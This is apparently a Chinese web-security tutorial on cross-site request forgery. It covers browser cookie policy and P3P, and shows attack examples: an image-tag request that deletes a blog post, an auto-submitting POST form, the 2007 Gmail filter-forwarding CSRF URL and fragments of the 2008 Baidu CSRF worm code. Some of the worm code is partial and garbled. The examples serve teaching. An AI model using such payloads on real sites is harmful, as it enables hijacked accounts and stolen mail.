web安全————CSRF（攻击篇）

     跨站请求伪造（CSRF）
     首先先来看一个实例：当用户在某个论坛上删除某篇文章时，通过抓包获取请求如下：
     http://blog.sohu.com/manage/entry.do?m=delete&id=12345678。用户登录后cookie为有效状态下，服务器接受到上述请求将会当作一次更新操作执行。为了完成CSFR攻击，攻击者需要构造一个页面：http://www.a.com/csrf.html。该页面的内容为：<img src="http://blog.suhu.com/manage/entry.do?m=delete&id=12345678" />这个img标签地址是指向删除文章，攻击者只需诱使用户访问该页面即可发送伪造用户请求，达到攻击目的。


     攻击者之所以攻击成功，是因为用户的浏览器成功的发送了cookie，那么我们就来看看浏览器的cookie策略：
     浏览器所持有的cookie分为两种：一种是“session cookie”（临时cookie），一种是“third-party cookie（本地cookie）”。区别在于third-party cookie是服务器在set-cookie时指定expire时间，只有expire时间到了cookie才会失效，而session cookie没有该时间，只要浏览器关闭后就会失效。就是说session cookie是保存在浏览器进程的内存空间，而third-party cookie是保存在本地。通常情况下，浏览器从一个域加载另一个域的资源时，出于安全考虑，浏览器会阻止third-party cookie的发送。


     尽管浏览器有阻止发送第三方cookie的功能，降低了CSRF攻击，但P3P的出现，使情况变得复杂起来。P3P（the plamform for privacy prefer-ences）是一个个人隐私安全平台项目的标准，能够保护在线隐私权，使用户可以选择浏览网页时是否允许第三方收集并利用自己的个人信息。对于不遵循P3P标准的，有关它的cookie将被自动拒绝。也就是说，如果网站返回给浏览器的HTTP头中包含P3P头，那么将有可能允许浏览器发送第三方cookie。目前P3P广泛应用于网站应用，因此不能依赖浏览器拦截第三方cookie来防御CSRF。同时，如果在测试CSRF时发现<iframe>等标签在IE浏览器中仍然可以发送，很可能就是P3P头的缘故。


     CSRF攻击方式
     CSRF攻击包含GET、POST请求，还有flash CSRF以及CSRF worm，下面我看来看看发起这些攻击的方法：
     大多数的CSRF攻击，使用的HTML标签都是<img>.<iframe>.<script>等带“src”属性的标签，这类标签只能够发起一次GET请求且不能发起POST请求。如果网站未严格区分GET与POST，即使用的是$_REQUEST而不是$_POST获取变量，则攻击者可以使用GET请求表单提交地址：
     <form action="/register" id="register" 
     method="post" >
     <input type=text name="username" value="" />
     <input type=password name="password" 
     value="" />
     <input type=submit name="submit" 
     value="submit" />
     </form>
攻击者可以这样构造GET请求：http://hpst/register?username=test&password=passd来提交，如果服务器端做了限制区分GET与POST，那么攻击者一样可以构造一个POST请求，然后再使用javascript自动提交这个表单：
     <form action="http://www.a.com/register"
     id="register" method="post" >
     <input type=text name="username" value="" />
     <input type=password name="password" 
     value="" />
     <input type=submit name="submit" 
     value="submit" />
     </form>
     <script>
     var f = document.getElementById("register");
     f.inputs[0].value = "test";
     f.inputs[1].value = "passwd";
     f.submit();
     </script>
下面贴一个07年谷歌Gmail CSRF攻击：
     首先用户登录Gmail账户，此时浏览器获得用户Gmail的临时cookie，然后攻击者诱使用户访问一个恶意页面，其中恶意页面隐藏一个iframe，其地址指向CSRF构造页面：
     http://www.gnucitizen.org/util/csrf?
     _method=POST&_enctype=multipart/form-
     data&_action
     =https%3A//mail.google.com/mail/h/
     ewt1jmuj4ddv/%3Fv
     %3Dprf&cf2_emc=true&cf2_email=evil
     inbox@mailinator.com&cf1_from&cf1_to&cf1_subj
     &cf1_has&cf1_hasnot&cf1_attach=true&tfi&
     s=z&irf=on&nvp_bu_cftb=Create%20Filter
而这二个链接的作用就是把参数生成一个POST表单然后自动提交。攻击目的是在用户邮箱Filter中创建一条新规则，将所有带附件的邮件转发到攻击者邮箱中，由于浏览器有用户临时cookie，因此这个请求会成功。


     Flash CSRF：Flash也有多种方式能够发起网络请求，包括POST，除了URL Request外，在Flash中还可以使用getURL、loadVars等方式发起请求，但是从IE8起，Flash发起的网络请求不再发送本地cookie。


     关于CSRF，很多人认为XSS威力巨大从而忽视了CSRF，因为他们觉得CSRF造成的损失较小，下面附上08年百度的一个CSRF worm：
     百度用户中心发送短消息：
     http://msg.baidu.com/?
     ct=22&cm=MailSend&tn=bmSubmit&sn=用户账户&co=
     消息内容
可以看出，只需要修改sn参数就可以对指定的账户发送消息。而在百度的另外一个接口则能查询出某个用户的全部好友：
     http://frd.baidu.com/?ct=28&un=用户账户
     &cm=FriList&tn=bmABCFriList&callback=gotfriends
如果将二者结合起来就形成了CSRF worm。先让一个百度用户查看某个恶意页面，之后会给他的好友发送一条短信，然后这条短信中包含一张图片，其地址再次指向CSRF页面，这样无限发送就形成了worm。那么我们来模拟一次CSRF worm：
     首先模拟服务器端取得request参数：
     var lsURL=window.location.href;
     loU = lsURL.split("?");
     if (loU.length>1)
     {
     var loallPm = loU[1].split("&");
     ……
定义蠕虫页面服务器地址，取得？和&符号后的字符串，从URL中提取感染蠕虫的用户名和感染者好友用户名。
     再动态获取好友数据：
     var gotfriends = function (x)
     vilmsg]"
     for(i=0;i<friends.length;i++){
     ……
     mysendmsg=mysendmsg+"&"+i;
     eval('x'+i+'=new Image();x'+i
     +'.src=unescape(""+mysendmsg+'");');
     ……
将感染者的用户名和需要传播的好友的用户名放到蠕虫链接内，然后输出短消息。想象一下，这种蠕虫用于收集某社交平台的用户信息，那损失将是很巨大的。那么关于防御，在防御篇将会大概描述。